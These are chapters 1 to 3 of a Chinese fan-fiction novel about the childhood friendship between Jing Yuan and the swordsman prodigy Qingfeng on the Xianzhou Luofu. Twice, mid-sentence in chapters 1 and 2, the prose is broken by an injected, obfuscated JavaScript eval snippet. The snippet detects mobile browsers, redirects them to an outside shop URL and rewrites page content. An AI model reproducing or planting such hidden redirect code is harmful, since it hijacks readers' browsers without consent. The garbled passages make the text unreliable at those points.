《身为将军的竹马好像喜欢我?》 1. 第 1 章 第一章 * 景元认识阿清的那一天实在是再普通不过的一天了,可若真要说有什么令人印象深刻的,那大概就是那一天罗浮仙舟上的风格外的温和,就像清风本人。 …… “彭!” 是沉重的身体和地面碰撞的声音。 练武台上,高大的云骑手中长剑脱手,身躯倒下,其面前,有些瘦弱的孩子身形笔直如松,手中紧握长剑,目光如炬。 若非那尚且幼小的身形,谁能相信那打败那练武多年的云骑军的孩子尚且年幼? 景元看着远方练武台上那几乎是瞬息间便分出了胜负的比试,脑海中回放着刚刚眼里所见的一切。 云骑率先出击,长剑直刺攻向孩子左肩,气势如虹令人不敢小觑,可面对那气势汹汹的剑招,幼小的孩童全无慌乱之色,沉着冷静,身形不动如山,双眼直视云骑。 就在众人皆以为那孩子被那剑招镇住无法动弹,攻势即将抵达孩子身上之时,却见那孩子身形一颤,手中长剑挥舞,仅是眨眼的功夫,双剑触碰! “噌!” 手中长剑一挑,云骑长剑脱手。 云骑眼中瞳孔颤动,心下惊讶,不等其做出应对之举,对手瞬息近身上前,小小的手掌一探,宛若飞花穿叶一般轻巧地落在其胸膛之上。 那一掌看似轻飘,落到实处却宛若巨石,不等云骑反应过来,其眼中视野一变,再回神,那胜负已分。 “承让。”一个剑花收起长剑,小小的剑士对落败的云骑行了一礼。 可与一般孩童所不同的是,面对这般压倒性的胜利,小剑士的眼里却没有半分欣喜,相反,那双眸内,除了平静和淡然,似乎再无别的情绪。 似乎没有人认为他能够在这场比斗中胜利,所以,直到他行礼、转身离去,场内除了窃窃私语的谈论声,竟无半分对小孩武艺的半分喝彩。 “……好厉害。”场边,用着自己才能够听到的声音,小小的景元看着与自己一般无二的身影如是自语。 “毕竟是腾骁将军的弟子,武艺天赋高强,胜利才是正常的吧。”身侧似乎有人传来这般议论声。 “诶——话不能这么说,天赋再怎么好,没有艰苦的训练,也是无法到达那般境界的……不过这般干脆利落,确实出乎意料,听说他习剑才一个月?” “不,不是一个月,”那人摇了摇头,神秘兮兮地向旁人凑了凑,用卖关子似的口吻震声道,“是半个月!自他拿剑那一天算起,满打满算才半月!” “嘶——”闻者倒吸一口凉气,满目诧异,而后缓缓竖起拇指,“天才啊。” 另一人颇为赞同地点了点头,“是天才呢。” 一边不小心将所有对话收入耳中,刚刚拜仙舟剑首为师,明白习剑的枯燥和艰难的小景元深以为然地点了点头。 “是天才啊。” 对这边细微的讨论似有所感,即将离开此方空间的小天才对着景元的方向投来了视线。 那目光像是随意的一撇,似乎是听到了他们的对话…… 不论如何,在那不过几息之间的一眼中,小声讨论的二人身形陡然一僵,直到其离去多时,才缓缓放松。 “呼——不愧是天才,这般气势,我心跳都要停了。” “你也太夸张了,你好歹也活了几百年了,有点出息好不好。” 而与其二人所想皆不同,小景元看着他离去的方向,眨了眨眼,心道。 “他的眼睛,是蓝色的……” 这般感慨,再结合刚刚台上小剑士干脆利落的招式和比完就走的冷淡,小景元的心中就此建立了一个腾骁将军之徒.剑术天才的高冷形象。 而这个形象,一直持续到了他亲自和某人说上话的打交道场合。 …… * “哎呀!你的名字是景元吗?真是个好名字!”清风.剑术天才.腾骁将军之徒.紧紧握着小景元的手,一边不住上下挥舞,一边嘴里念念有词,“早就听闻镜流剑首收了个新徒弟,今日一见果然名不虚传啊,对了你今年几岁?剑术如何?喜欢吃陈记糕点吗?顺带一提我最喜欢的就是陈记的桂花糕,还有东口那家琼实鸟串……我身上正好放了一些你赶紧尝尝,你喜欢的话我下次去的时候带你一起,那边老板和我可熟悉了只要报我名字可以打八折……平时你喜欢玩什么呀?风筝?蹴鞠?滚铁圈?哎呀试试试试,这些东西可都是我自己做的,工造司那边什么都有我用那边的材料做了好多玩都玩不过来,啊,不过我最喜欢的就是躲猫猫了,顺带一提目前在这个游戏里还没有人可以赢过我,你要是感兴趣下次我们一起玩儿吧,还有还有…………” ………… 啊? 不过几个呼吸的时间,小景元的怀里多出了一堆杂七杂八的玩意儿,什么糕点、零嘴、小玩具,那都还算是正常的东西了,眼睁睁看着怀里的东西越堆越多,东西也开始从吃喝玩乐向“各类武器”过渡,小景元眼里的迷惑愈发之多。 这是什么?哦对,他刚刚说是礼物,呃,不过,爆裂箭,狙枪,小型炸药弹这些东西……就这样当做礼物送给我,真的没关系吗?话说他为什么会随身携带这些东西?? 幼小的景元少有的,感觉自己的脑瓜子似乎有些不够用。 这边,名为清风的黑发小孩看着眼前小小的(?)毛茸茸(?)的仙舟人,心里止不住地欢喜。 不知道为什么看到这个人就挺喜欢的,总之看到心生好感的人先送自己喜欢的东西当礼物,总不会出错。 师父说了,送礼物是一种表达友好的行为,把自己喜欢的东西都送给他,他一定可以理解自己表达好感的内心吧! 完全不觉的自己把危险的武器当做礼物送给一位刚刚见面没多久的“好友”有什么不对的人,清风自信地内心点头。 他现在一定很开心!然后他们就可以当世界第一的好朋友了! 黑发小孩内心如是道。 “你在干什么呢?”正在清风塞礼物塞地正开心的时候,身后,幽幽传来了一道略微粗狂的声音。 ! 清风浑身一僵,看着景元怀中乱七八糟还未来得及收起来的零食饮料武器玩具,心里一阵心虚。 连忙转身,一边在身后拍了拍景元的手臂,示意其赶紧将礼物收起来,一边目光略微漂移地回答。 “师……师父!你这么快就忙完啦!我和你说,我刚刚交了新朋友!” “哦——是新朋友啊,”腾骁将军目光“柔和”,语气“轻柔”,对着小孩点了点头,“交新朋友,那是好事啊,不过在那之前,你要不要解释一下,你刚刚在往新朋友的怀里(重声),塞什么东西呢?” “唰!” 如果流冷汗能有声音,此刻,小孩的脑袋上一定满是冷汗流出的声音。 “啊哈哈哈,是什么呢?”清风身后拍手臂的动作愈发急切起来,妄图让这位刚刚认识的“朋友”能够和他有心灵感应一般的默契,眼里眼眸却是不断漂移。 看着清风面上“镇定”,实则慌乱的样子,腾骁将军缓缓地,将严肃的面容向小清风靠近,那副模样,可谓是极具压迫感。 “是什么呢?”将军拖长了声音,低沉地向他发出压迫感十足的疑问,“应该不会,是一些我早就没收掉的‘危.险.物.品.’吧?” “……危险物品。”清风身后,小景元艰难地看向怀里如山般的一大堆东西,迷糊的脑子终于有所清醒。 嗯,自己的判断还是正确的,有些东西确实是危险物品,拿来当做第一次见面的礼物确实是不太日常的行为。 话说,像他那般给第一次见面的人送那么多礼物,这样的举动本身也应该不算是日常的行为? 另一边,显然,两位刚刚正式见面的景元和清风并没有以后那心灵相通的默契,所以理所应当地,清风所有的掩饰皆是徒劳,当然,在远超二人身形的高大的腾骁将军眼中,那般拙劣的掩饰本就是无用之功。 看着清风身后小孩怀中随随便便拎出来就可以造成巨大动荡的武器,腾骁将军的脑门青筋突突直跳,他强忍怒意,看着清风,问道。 “我记得,我说过这些东西不能随便带出来。” “……”不敢回话。 “带出来也就算了,你还一次性带这么多?” “……”低头乖巧挨训。 “你自己玩也就算了,还打算带着新朋友……” 声音一顿,腾骁将军看着面前低垂着毛茸茸脑袋的小清风,又看了一眼其身后沉默着抱着一堆礼物的小景元,终究还是心软了。 内心短叹了一口气,看着乖巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437587|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小孩,腾骁将军怒气渐熄,对着清风道。 “师父也不是不允许你研究这些东西,只是有些武器过于危险,就算你要研究,也要在安全的锻造室中研究为好……” 清风不住点头,一副“师父说的对,师父说的有道理,我下次再也不敢了的样子”。 见自家徒弟如此听话乖巧,腾骁将军心中那最后一点怒火的余烬竟也是渐渐消散开来。 也是,谁能够对可爱的黑发蓝眼乖巧小孩发火呢? 即便大家理智上都清楚,那所谓的乖巧都不过是外在的形象吧,可人就是一种会被外在形象所短暂“蒙骗”的存在,特别是对于自己所重视的家人。 于是乎,即便内心刚刚再如何无奈愤怒,看着清风看似良好的认错态度,腾骁将军也是逐渐平复好自己的情绪。 视线一转,看着徒弟身后新交的朋友,腾骁将军出言对其解释:“小友见怪,我也并非不讲理之人,而是阿清送你的有些东西确实过于危险,你若对这些有兴趣,改日我让他带你到工造司的锻造室和武器演练场,那样安全,也可以看到更多有意思的机巧器具……” 景元听闻赶忙摇了摇头,“将军言重了,景元心中知晓……” 如是这般客气了几句,一边,听闻师父这般言语,清风终于悄然放下了心。 太好了,这次只是被说几句就蒙混过关!幸运! 可不等其内心开心多久,清风眼睁睁地看着自己刚刚送出的“宝贝”(危险物品)被师父没收了去。 清风:…… 那可是他前段日子好不容易从工造司刮出来的好东西。 可是师命难违,不得不从! 清风内心泪流满面,面上对着刚刚交的好朋友丢了一个眼神。 “放心吧好朋友!我下次送你更好的!不要伤心!!” 景元:……我觉得你似乎更伤心一些啊。 看着一边“剑术天才”悄悄丢给自己的眼神,景元不知为何觉得有点不妙。 为什么会有点不妙呢? 虽然聪慧,但还不了解清风的小景元暂时还思考不出这般“高深”问题的答案,自然也不会知道这般“不妙”的预感将会在很长一段时间伴其左右。 这边,腾骁师父刚刚“没收”了自家“劣徒”所有的危险物品后,看了眼手中的武器,后知后觉意识到了什么。 “这些,不是我前段时间刚刚收的吗?” 清风:不好!暴露了!风紧扯呼赶紧溜!! 聪明的小孩就应该有着这般对局势变化的敏锐程度! 然而腾骁将军的反应也不若,几乎瞬间,他便明白了这个问题的答案。 徒弟速度快,师父身手自然更快! 腾骁将军手臂一伸,一抓,某个小孩的领子就这样被将军牢牢抓在手中。 “身手不错嘛,脑子也好使,我都放在那么隐秘的地方你都能够找出来……”看着手中对着自己笑嘻嘻的小崽子,腾骁阴沉着脸,一字一句道,“看来这次,得让你好好反省反省你才知道错。” 清风听闻,脸上讨好的笑容顿时一变,嘴里话锋一转赶忙道。 “不不不!我知道错了师父!不要哇!我不要去书房抄书!” “酷刑!那是酷刑!无聊到爆啊一点意思都没有!!” “师父我错了!我再也不敢啦!” 冷酷的腾骁将军对装可怜的小孩不留半分情面:“少来这套!你上次也是这样说的!” “这次是真的了师父!真的不能再真,比珍珠还真!” “这句话你上上次已经说过了。” “上上次是骗你的!这次绝对不是……” “骗?你……!” …… 一旁,旁观了一切的小景元木着脸,怀里抱着一堆去除了危险物品的各种各样的礼物,回忆了一下前段日子在练武场上看到的某位出招干净利落的高冷剑士,然后又看了一眼正对着自家师父求饶,没有半分脸面可言的“剑术天才”…… 景元:…… 罗浮仙舟人.景元.剑首之徒,人生第一次意识到,有些人,其外在形象和真实形象可以是截然不同的两面。 可就是这般毫无正经可言的第一次交流,在很久之后,记忆的深处,却依旧还是景元心中最为珍视的回忆之一。 2. 第 2 章 * “几个月了,那个孩子似乎和刚刚到来时并没有什么变化,”策士长玄羽如是对将军道,“真让人意外,他真的像资料上说描述的那样,经历了那样……糟糕的过去吗?” “从我们所调查的所有资料来看,那确实是曾经发生过的事实不是吗,”腾骁将军粗狂的嗓音中透露着细腻,他嘴角勾着淡淡的笑,眼中却满是对自家徒弟的欣赏和喜爱,“若不是这段时间的接触以来,我也不会相信。” 他脑中回忆着这段时间的相处,道:“……过于糟糕的环境有时候也会成长出过于优秀到让人不可置信的存在,不过也正因为这样,那孩子才更需要正确的引导,毕竟在过于幼小的时候便接触这个世界最为残酷的一面,这并不是一件好事……” “这是你收他为徒的主要原因吗?”策士长玄羽内心思索着,得出这样的结论。 身为长生种,在步离实验室内长大的仙舟人,想想就知道接触不了什么正确的事物和思想,但是本身却拥有着超乎常人的天赋和能力……考虑种种所以将军才决定收他为徒吗?不亏是将军,思虑周全。 玄羽语气中充满了赞赏,一时间并未察觉将军听到这样话语之后的眼神飘忽了一瞬。 “收他为徒的主要原因吗?”将军内心心虚了一瞬,脑海中不由回忆起当初那孩子第一次相见的场景。 ……………… …… 第一次见到那孩子的时候,腾骁将军就觉得那孩子单从外表上来看真的很年幼,大约也就八九岁的模样,纤细的外表,瘦弱的身形,腾骁很难想象,就是这样的孩子,孤身一人从那危险无比的步离基地逃离,甚至还带着的情报资料。 “吱呀。” 细微的开门声引起了那孩子的注意。 他转过身,澄澈的蓝色眼眸看向自己,一瞬间便让他想起了古书里记载的遥远过去“家乡”的天空。 “将军!你是腾骁将军吧!” 然而那孩子一开口便是外表完全不相符的样子,充满了活力和色彩,“好厉害!我很早就知道你了,叶哥说你武力超群,身高八尺,身形魁梧有力,为人不拘小节…………(此处省略一连串有些夸张的赞美语句)……今日一见果然名不虚传!!” 叶哥,是那位卧底步离,已然牺牲的云骑。 腾骁将军:……… 好在将军的反应速度向来很好,很快便反应了过来。 只见他轻咳了几声,压下心中细微的情绪,开口谦虚道:“咳咳,小友过奖了,其实也没那么……” “所以!将军可以当我的师傅吗?!”没有半分铺垫,没有任何预兆。 “啊?”将军刚刚回神的脑子又停滞了一瞬。 “身为罗浮仙舟的将军,您一定是仙舟之上最为厉害的一个吧!请教导我,无论是武艺,课业,还是其他的什么,我一定会好好学的!”那孩子的眼中透着坚毅,“只有自身变地强大起来才能保护自己最珍视的一切,我想变得强大,强大到可以保护我想保护的一切,所以可以收我为徒吗?” 腾骁将军收起了嘴边的轻笑,看着眼前的孩子,心中却泛起了几分心疼。 这个年纪的孩子,本不应该有这样成熟的想法。 可就是这个年纪的孩子,有着这样优秀坚定又耀眼的心。 有天赋,有心性,有能力,就像一块散发着微光的璞玉,还未经人雕琢,便已经让人侧目。 谁能够拒绝这样的孩子呢? 就这样顺势同意他的请求,教导他,指引他,陪伴他,看着他一步一步有所作为…… 似乎拥有这样的徒弟确实也是个不错的决定。 将军单手握拳置于鼻下一副思索的模样,心中刚刚冒出这样的想法,便见眼前的孩子跪在床上朝着自己行了一个大礼。 “师傅在上!请受徒儿一拜!” ??? “我还什么都没有说?”腾骁将军脱口而出,严肃的思索面容瞬间打破。 话说从见面到现在拜师时间有超过十分钟吗?!速度太快了吧?哪里不对吧?谁会第一次见面不到十分钟就拜师啊!我们才第一次见面吧!! 而且我还没有表态呢!!我还没同意呢!我还没说要你这个徒弟呢!!! “你同意了!”孩子抬起头看着腾骁将军,眼里满是笃定,“你心里已经同意我当你的徒弟了!我的直觉这样告诉我,虽然似乎还有所顾虑,但是你对收我这个徒弟这件事情并不排斥!” 腾骁将军楞了楞,就这样看着这个孩子。 …… 孩童嘴上这样说,目光也未曾有过半分动摇。 真是敏锐的孩子,几乎是我内心同意的一瞬间他便笃定我一定会认他这个徒弟…… 内心思绪流转,腾骁将军面上却依旧没有什么大的变化,他只是看着那孩子,许久,许久。 ………… 终于,他仰天大笑出声。 “哈哈哈哈哈哈,你小子,真有意思,是叫清风是吧,有胆色!我喜欢!” 这一笑,笑走了空气中莫名的凝滞气氛,也笑走了孩子内心深处自己都未曾察觉的紧张。 “既然如此,我便认了你这个徒弟!”腾骁将军上前拍了拍清风的肩膀,粗狂的行为中收着力,带着温柔,“俗话说的好,‘一日为师,终身为父’,你也算是初来乍到,既然拜我为师,那今后在这罗浮仙舟,我便是你的家人了……” 他笑着看着清风,话语里所代表的意思让清风一时间有些怔愣。 “……将军为人,呵呵,说起来那真是几天几夜也说不完,”记忆中,那位陌生的云骑军用虚弱的声音对着自己说道,“等你见到他,你就会明白的,那位将军,是真正的,罗浮仙舟的英雄。” 嗯,我见到了,他确实如你所说,是个再温暖不过的英雄。 清风对着腾骁将军,感受着肩膀上的温度,脸上露出了灿烂的笑容。 “嗯!” * 所以说,真要仔细说来,收徒什么的,完全可以说那个孩子的想法,将军不过是顺水推舟罢了。 但就结果而言,并不是什么坏事。 腾骁将军内心如此认为,一瞬间便将那心中的“心虚”抛掷脑后。 “不过那孩子,最近好像交到了新朋友?”玄羽倒是不知道自家将军内心所想,只是淡淡地道出近日所听闻之事,“真是神奇的小家伙,这是他交到的第几个朋友来着?” “这种事我哪记得清楚?”腾骁将军笑道,“那家伙,人缘好的出奇,短短几个月,感觉罗浮仙舟上下就没有他不认识的……” “您说笑了,罗浮上上下下人数众多,在如何也不可能全部认识的。”玄玉如是这般陈述事实。 “那倒是,不过说到朋友,最新的这个好像有些不一样。” “哦?”玄羽略微起了点好奇心,“有什么不一样呢?” “毕竟那家伙向来对自己搜集的各种东西珍视的很,偶尔送出去一些倒是不少见,但是这一次……”腾骁将军回忆着那时候所见的情形,眼角抽了抽,还是面色不变道,“……那家伙可以说把自己所有喜欢的东西都一股脑送出去了,真是难得见他那么喜欢一个人。” “那确实很不一样了,”玄羽听闻也略感震惊地瞪大了双眼,“全部吗?包括那些被你没收的危险物品?” 这话一出,玄羽就知道不好。 “是啊,包括那些被我没收……”腾骁将军一边点头,一边突然感觉到了不对。 他将目光放在身侧这位日日都见的策士长大人,面露怀疑。 “你早就知道清风把没收的东西拿回去了?” 这次轮到玄羽心虚地转移视线,看天看地,就是不直视将军的目光。 将军看着玄羽,玄羽看着天花板。 半晌,空旷的屋内,只留下某位将军无可奈何的话语。 “狡猾的臭小子!” ……… * 那一边是严肃认真的谈论,这一边却是孩童间快乐的玩耍。 到底还是孩子。 即便第一次的见面有些戏剧性,但是景元和清风在经过一段时间的相处过后,不出意料地成为了好朋友! 暂且不提二人较同龄人相比皆更加聪慧的脑袋,只从性格来说,这俩人都要比旁人显得更加合拍。 当然,一些事情当然也不是一蹴而就的,就比如原本尚且乖巧的小景元,至少和清风比起来,景元确实要更加乖巧,具体表现为…… * 具体表现为,在清风的怂恿下做出一些事情的时候,景元的内心还带着些许“这样不太好”的不好意思的情绪。 “所以说,我们为什么要……”小景元晃悠着身体,看着脑袋边上那漂亮的一串串枇杷果,对着脚底下将自己顶上墙头的清风道出心中的不解。 “嘘——!”清风一边努力将景元的身型顶起,一边嘴里小声提醒,“你小点声!我们现在悄悄过来摘果子的,可别被老板发现了!” 许是被清风小心翼翼“偷摸”的气氛所感染,景元虽心中不解,却依旧还是放低了声音,而后略微低着头,对着脚底下的清风继续问道。 “……所以说,我们为什么要这样偷偷摸摸地拿呀?明明我们只要……” “哎呀!这种事情等会再说,你先赶紧从树上摘几个最大的,”也许是看到景元许久未动,清风内心不由有些着急,“再不快点,老板可就要回来了!” 想不被他人发现摘下果子,他可是好不容易才调查到的这个珍贵的时间和地点。 只有在这个时间,这个位置,如此这般摘下这墙头的果子才能够做到不被他人发现!!这可是清风大人好不容易才调查到的绝好计划! 然而就在这时,二人的身后却传来了一个声音。 “哟,这不是清风吗?”那人站在两人身后不远处,看着二人竖着堆叠的身体,内心有些疑惑,“好久不见,你这是在……” 想必这位就是刚刚清风口中所说的老板,枇杷树的主人。 可清风不等老板把话说完,浑身一个激灵,身体朝后一缩,景元的身体毫无预兆地便向下一溜儿。 “诶?”景元两只手各抓着一小串儿果子,就这样顺着引力往下一窜,与此同时,清风两手顺着自个人儿肩膀上的两条腿往两侧一挪,一抓,便将往下掉落的景元稳稳地接落放在了地面。 整个个过程行云如流水,不可谓不顺畅。 景元两手抓着果子,刚刚站定,正要转身朝那位老板打个招呼,然身侧清风却不等他有所动作,一把抓住他的手腕便往前冲刺,一边冲一边还说。 “诶什么诶啊!悄摸拿人家果子被发现了还不赶紧溜!等着被骂吗?!!”说着,头也不回地朝前方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437588|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百米冲刺,徒留身后的老板一手向前对着二人离去的方向作挽留状,一脸茫然地看着那熟悉的二人几个呼吸间便在视野中失去了踪影。 半晌,老板疑惑地将前伸的手转了个方向放到脑袋上挠了挠,一边疑惑喃喃自语:“要拿果子的话直接拿不就好了,干嘛一副贼兮兮的样子……” …… 另一边,在清风的带领下,景元被迫经历了百米,不,至少千米以上的冲刺,看着前方飞速奔跑的背影,景元一边跟着跑,一边嘴里问道。 “所以……我们…到底为什么……要跑?” 可惜注意力全部放在了逃跑之上的玩家并没有注意到景元疑惑的问话,只是拉着他,一昧在那七拐八拐的小巷中穿梭。 一边溜,一边还嘴里安慰。 “放心吧这边我熟儿地很,保证老板抓不到我们!” 如此这边速度奔跑了一段时间后,二人终于在一处隐蔽的小巷内停下了步伐。 “呼——” 好在这般运动量对于习武的二人来说并不算什么,景元只是略微调整了一下呼吸,便站直了身体看向前方握着自己手腕的清风。 只见清风停下步伐后,转身径直看向景元手中的果子,在仔细端详了片刻过后,用夸赞的语气对着景元点了点头。 “我就知道!景元你一定可以成功的!看看这果实!颜色是如此的美丽,形状是如此的完美,果香是如此地清新……此次初战,无疑,这一次是以你我二人的大捷为……” 可不等清风将口中那如赞颂般的浮夸话语说完,视野中,只见景元手里拿着果子,高高地对清风举起了手。 清风对此表示非常了解,而后示意:“景元兄的纪律性无疑十分优秀!请讲!说出你的看法!” 面对小伙伴“期待鼓励”的目光,景元缓缓放下了手臂,对着清风说出了自己内心放了很久问题。 “想要那颗果树的果子,我们直接和老板说一下不就好了吗?为什么还要那般偷摸自己摘……” “嗯~”清风对景元摇了摇食指,解释道,“这你就不懂了吧,有句话说到的好,‘偷摸拿的东西总是比别人主动给予的东西要来得更有乐趣’!更何况还是和你一起,这其中的乐趣将呈几何倍递增!难道你不觉得刚刚快速逃跑的过程很刺激吗?” 这不是逃跑吧!老板根本就没有追的意思话说摘果子的过程也不是偷偷摸摸啊!那棵树向来就是谁摘都可以,倒不如说能够帮老板解决掉那棵树上多余的果子,老板开心还来不及呢,哪里来的逃跑刺激感啊!! 望着清风得意洋洋的笑容,景元回想起刚刚自己徒劳的“逃跑”行为,觉得有点傻。 但是再一细细品味一下,景元不可否认,和好朋友一起悄摸干着一些看似坏事实则不是坏事的感觉,确实很是新奇,也很是,有意思。 景元内心回味了一下刚刚飞速逃跑和偷偷摸摸的刺激感,似乎就此打开了新世界的大门,带着几分认同,缓缓地点了点头。 “嘿嘿嘿。”见新朋友用一秒不到的时间便接受了自己的小游戏,清风的心中满是欢喜。 “所以接下来我们去哪?”小景元看向清风的眼神中带着几分期待,他从未想过,四季如春少有变化的罗浮仙舟竟也可以变得如此丰富多彩。 清风本人不紧不慢地拿出了一本封面空白的小册子,翻开来看,里面杂七杂八或写或花了一堆东西。 “这是?”小景元好奇地将脑袋凑了过来。 清风得意地勾起嘴角,解释道:“我知道的罗浮仙舟上所有有意思的没意思的好玩的无聊的……总之我们可以慢慢一个个玩过去!” “工造司神秘的房间” “太卜司不得不提的几件事情” “XX大人物似乎有什么小秘密” “密探!腾骁将军府邸的厕所” “罗浮仙舟的隐秘角落里,竟然有……” 景元看着小册子上面七扭八扭一看就是某人匆忙写下的一下要点,心里的兴致却随着某人煽动的话语愈发高涨。 “这个地方是我上次偷溜到XX发现的,这里是东街小黑说的不知真假传闻,那个是………………”清风嘴里嘀嘀咕咕念叨着,天知道这么多稀奇古怪的传闻和地点他都是从哪里打听到的! “总之我一个人悄悄玩…我是说调查实在辛苦,以前大家看到我的小册子不知道都不感兴趣,但是现在有你!你一定会陪我一起的对吧!”小清风双眼闪亮地看着小景元,那眼睛布林布林的,谁看了会舍得拒绝啊! 而小景元双眼放光眼里没有半分拒绝或者说犹豫的神色,甚至他比小清风还更感兴趣。 “一起,当然一起!”小景元“啪”的一下就抓住小清风拿着册子的手,语气坚定。 清风听了面容狂喜! 他就知道!仙舟上肯定会有人对师父家里的厕所感兴趣!不枉专门把这个当诱饵写上去并放在了最显眼的位置!! 不过认真说来,实际上也不过是属于孩子间的小冒险。 …… * 不知多久过后,小册子上新添了几句话。 景:腾骁将军府邸上的厕所并没有什么异常的地方。 清:就是师父揍人一如既往地“大力”,他在厕所里吃屎的传闻又不是我传出去的…… 景:……这一点我觉得你还是要负一定责任。 3. 第 3 章 * 孩童时代的清风是何种模样呢? 若是那位已经成为罗浮仙舟将军的景元来说,他大概会略微思索几分,而后用慢悠悠地语气道:“阿清小时候?那可是超级可爱的哦~小小的,软软的……性格也是很好说话的,真可惜你们见不到……” 但若是同样还是小孩的景元,那他大概会说:“阿清是我最好的朋友!没有之一!”再加上一个颇有信服力的用力点头动作。 是的,就这样简单,毕竟对于小孩来说,“最好的朋友”这样的头衔本身便已经可以代表对方在自己心中的地位了。 谁孩童时期还没有和自己玩的最要好的朋友说过“咱俩最好了”的类似的话语呢? 正所谓好朋友,好兄弟,就要有福同享,有难同当! 所以清风最喜欢的东西当然要让好兄弟景元也一起试试!! * “彭——!” 小院内,木剑与木剑之间的又一次碰撞所发出的声音在两人之间回响。 此时的小景元面容严肃,精神紧绷,浑身上下所有的注意力都在眼前袭来的所有剑招之上。 虽然很早就意识到这一点了,但是当真正握着剑站在阿清的对面,那扑面而来的压迫感还是让小景元心头一紧。 剑势如雨,力道如牛。 明明所有的招式都是再基础不过的基础,明明所有的剑招自己也学习过,但是在阿清的手中,那剑招却仿佛有了生命一般…… 不一样,那是和师父对练之时完全不同的感觉,更强势,更迅捷,也更危险…… “嚓——” 伴随着清风手中木剑一个上挑,小景元手里的木剑顺势被挑飞,两人之间的对练也来到了尾声。 汗水顺着二人的脸颊缓缓滑落,急促的呼吸声在空气中飘荡。 很快,这份短暂的平静便被打破。 “景元你好厉害!”清风双眼放光,一副超级惊喜的样子,“同龄人中,我还是第一次遇到可以和我对练这么久的人!之前大家全部都是没几招就放弃了,有的甚至招式都没出几下就投降了,但是景元你不一样,不仅出剑招式标准漂亮,而且时机节奏的把握也很好,多余的无用动作也很少,最后一下如果不是你突然手臂抖了一下我也找不到机会反击…………” 景元看着好友满脸兴奋的模样,虽然身体异常疲惫,但依旧还是忍不住露出了一个浅浅的笑容。 这家伙,明明他才是最厉害的一个,同为习剑之人,自己在剑首——镜流师父的指导下习武锻炼,于剑道一途上自然比大部分同龄人要领先许多,可是阿清…… 景元看了一眼依旧滔滔不绝的小伙伴,心里一时也不知是何滋味。 阿清习剑,不过一个月的时间,却是比自己要厉害的多。 虽如此,可那心中的情绪也不过一闪而过罢了,小伙伴天赋异禀,身为朋友,自己应该为他开心才是。 不过说到师父。 景元内心飘忽了一下。 不知道师父前段时间的任务完成的怎么样了,真要算起来,应该是这段时间回来…… “……景元~你师父什么时候回来阿~”一转头,小伙伴“谄媚”的面容突然在眼前放大,吓了景元一跳。 该说不说,经过一段时间的亲密相处,景元或多或少还是可以猜到自己这位朋友的内心所想。 应该是想向师父请教剑术方面的问题吧,阿清的师父——腾骁将军武艺方面虽然造诣颇高,但论起剑术,还是师父更胜一筹,毕竟不同的武道之间,也是有着一些细微的差别的。 “我也不知道,但是不出意外的话应该就是最近了……”景元将目光转向小伙伴,不出意外地看到了小伙伴期待的样子。 听到此话,阿清的脑袋又向好友的方向挤了挤:“最近?怎么个最近?明天?后天?大后天?” “……这个,我就不清楚了……”景元伸出手将好友凑上来的脸推开,对此表示爱莫能助,“师父毕竟是去做任务的,云骑任务变数颇多,归期不定是再正常不过的事情了。” “这样。”阿清可惜地叹了一口气,道,“你师父是罗浮仙舟剑术的巅峰,身为罗浮仙舟剑首,她的剑一定很厉害……” 景元了然一笑。“想和我师父练练?” “那当然。”阿清抬头,双手放在脑后,“真想试试,那传闻中如寒霜一般的剑意。” “会见到的。”景元轻笑,“师父武艺高强,这次的任务听说难度也不高,所以应该很快就回来了……” ………… 确实很快就回来了,但是同时,阿清也很快便受了一点“小伤”。 罗浮仙舟丹鼎司。 “所以,你这家伙究竟干了什么?”看着小伙伴一脸“满足”笑容地躺在病床上,仿佛身上所有的剑伤冻伤都是摆设的样子,景元震声问道。 “是啊,他干了什么呢?”腾骁将军额头青筋直跳,觉得自己收徒以来所有的怒火都在这段时间得到了充分的释放。 也许这就是养孩子所必然要经受的痛苦吧。 腾骁将军看着病床上的徒弟,一字一句道出他所做出的“好事”:“串通港口守卫,让他关注剑首回来的第一信息;在得到剑首回来的消息后第一时间拿着剑刃冲到港口码头附近,看到剑首不论场合毫无缘由地对剑首大打出手被云骑军误认为是敌袭;被误会攻击之后不停手就算了还打得更起劲把码头附近搞得一团糟…………” 将军每说一句,景元的嘴角便多抽一抽。 景元内心不由佩服伙伴好胆量,虽然他已经充分认识到了阿清这段时间对于剑术的喜爱,但是喜爱到这个地步,实在让人觉得有些……意外。 想着,景元不由将视线的余光落在了伙伴脸上。 将军这般生气,现在当务之急还是赶紧认错为妙啊!朋友! 而阿清也正如景元所预料的那般,面露兴奋……嗯?兴奋? 景元转过头,直直地看向好友。 阿清两眸如星,虽满身伤痕,却依旧精力十足。 “师父!什么串通!别乱用词!我和大山哥是多年未见的好朋友!好朋友帮我留意一下剑首回来的消息不是很正常吗!” “哦?是吗?”腾骁将军面无表情,“那大庭广众之下用开了刃的剑攻击剑首呢?” “对不起,”对于这一点,清风光速道歉,但是言语中却并未有丝毫后悔之意,“但是再来一次,我还是会那样做的,师父。” 腾骁听闻皱了皱眉头,但也没有立即说些什么。 “她的剑意太强了,我忍不住。”清风回想着码头之上的场景,皎洁如月的女子单手虚扶长剑,周围来往的云骑军霎时间变成了灰暗的色彩。 